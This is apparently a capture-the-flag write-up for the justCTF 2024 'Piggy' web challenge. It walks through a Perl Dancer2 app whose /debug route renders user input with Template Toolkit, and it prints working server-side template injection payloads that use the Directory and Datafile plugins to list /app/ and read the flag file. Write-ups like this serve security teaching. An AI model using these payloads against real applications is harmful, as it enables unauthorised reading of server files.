Piggy
Table of Contents
Overview
- Solved by: @siunam
 - Contributor: @jose.fk
 - 61 solves / 180 points
 - Overall difficulty for me (From 1-10 stars): ★★☆☆☆☆☆☆☆☆
 
Background
Who is such a piggy (ツ)
Many players ask about piggy being broken (missing flag.txt) but it works as intended.
- 
    
https://s3.cdn.justctf.team/f2af71a7-f199-47a7-9934-013a168a76f7/piggy_docker.tar.gz
 

Enumeration
Index page:

In here, it is just a welcome page, nothing special. Hmm… Let's read the source code of this web application!
In this challenge, we can download a file:
┌[siunam♥Mercury]-(~/ctf/justCTF-2024-teaser/Web/Piggy)-[2024.06.16|16:15:43(HKT)]
└> file piggy_docker.tar.gz 
piggy_docker.tar.gz: gzip compressed data, from Unix, original size modulo 2^32 289280
┌[siunam♥Mercury]-(~/ctf/justCTF-2024-teaser/Web/Piggy)-[2024.06.16|16:15:45(HKT)]
└> tar xvzf ./piggy_docker.tar.gz 
./
./Dockerfile
./views/
./views/index.tt
./public/
./public/images/
./public/images/piggy.webp
./config.yml
./app.pl
./flag.txt
./docker-compose.yaml
After reviewing the source code, we have the following findings!
- The flag is seemingly at 
/app/flag.txt(TheCOPY . .Docker command from theDockerfile) - This web application is written in Perl's Dancer2 web application framework
 - This web application uses Perl's Template Toolkit to render templates
 
Let's dive into the web application main logic source code at app.pl!
First, at GET route /, it just render the template views/index.tt with a randomly chosen greetings string:
[...]
use Dancer2;
use Template;
my @greetings = ("Hello", "Ebe", "Greetings", "Hi", "Good day");
get '/' => sub {
    my $greeting = $greetings[rand @greetings];
    template 'index' => {
        greeting => $greeting
    };
};
[...]
views/index.tt:
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Piggy</title>
    <style>
        [...CSS stuff...]
    </style>
</head>
<body>
    <h1>[% greeting %]! Welcome to our app.</h1>
    <p>This is Piggy, your friendly task companion!</p>
    <img src="/images/piggy.webp" alt="Laughing Pig">
</body>
</html>
Hmm… Nothing weird and interesting for us in this route.
However, there's a peculiar POST route at /debug:
[...]
post '/debug' => sub {
    my $input = body_parameters->get('debug');
    my $output;
    
    my $template = Template->new({
        INCLUDE_PATH => './views'
    });
    $template->process(\$input, {}, \$output) or die $template->error();
    return $output;
};
[...]
In this POST route, we can see that it takes a debug POST body parameter, and parses it with the process method to render our template literals!
With that said, this POST route is basically SSTI (Server-Side Template Injection) in Perl's Template Toolkit for free!
In Template Toolkit's syntax documentation, the default tag markers are [% and %].
Let's try to let the server to render 49 with [% 7*7 %] at POST route /debug!
POST /debug HTTP/1.1
Host: 5al1vghdkve4bhweufft29r3nsvp22.piggy.web.jctf.pro
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
debug=[% 7*7 %]

Nice! It worked as expected!
Now, how can we read the flag file?
Exploitation
After digging the plugins documentation, there're some interesting plugins that are related to reading/listing the file system!
More specifically, plugin "Directory" and "Datafile" can list all the files with a provided path and read files.
First, let's list all the files at path /app/ with plugin Directory!
In the detailed documentation of the plugin Directory, we can do that with this template syntax:
[% USE dir = Directory('/app/') %]
[% FOREACH file = dir.files %]
    [% file.name %]
[% END %]
In this syntax, it lists all the filenames at path /app/:

Nice! We got the flag's filename. In my case, it's flag_980aef6e461ca1009ea62da051753b38.txt.
Then, we can read the flag's file via plugin Datafile!
By reading the detailed documentation of the plugin Datafile, we can use this syntax the read the flag file:
[% USE flagContent = datafile('/app/flag_980aef6e461ca1009ea62da051753b38.txt') %]
[% FOREACH flag = flagContent %]
   [% flag %]
[% END %]
However, if we do that, it just outputs the hash reference to the flag file:

In the documentation, it said:
The first line defines the field names, delimited by colons with optional surrounding whitespace. Subsequent lines then defines records containing data items, also delimited by colons. […]
Uhh… Can we set a delimiter character other than a colon (:) character?
Luckily, the plugin also allows us to set the delimiter character via the delim parameter:
[% USE things   = datafile('items', delim = '|') %]
Hmm… What character should we use for the delimiter character?
In the local testing flag, we can see the flag file's content:
Here is your fat flag:
justCTF{fake}
Ah ha! We can use space character as the delimiter character!
Now, we should be able to read the flag's content via flag.Here using the space character for the delimiter character!
[% USE flagContent = datafile('/app/flag_980aef6e461ca1009ea62da051753b38.txt', delim = ' ') %]
[% FOREACH flag = flagContent %]
   [% flag.Here %]
[% END %]
The reason why we use Here as the key is because this plugin uses the first line to define the field names, and the delimeter in this case is a space character. Hence, the first word for each line will be with the field name Here.

- Flag: 
justCTF{0iNk_oinKxD} 
Conclusion
What we've learned:
- Server-Side Template Injection (SSTI) in Perl "Template Toolkit"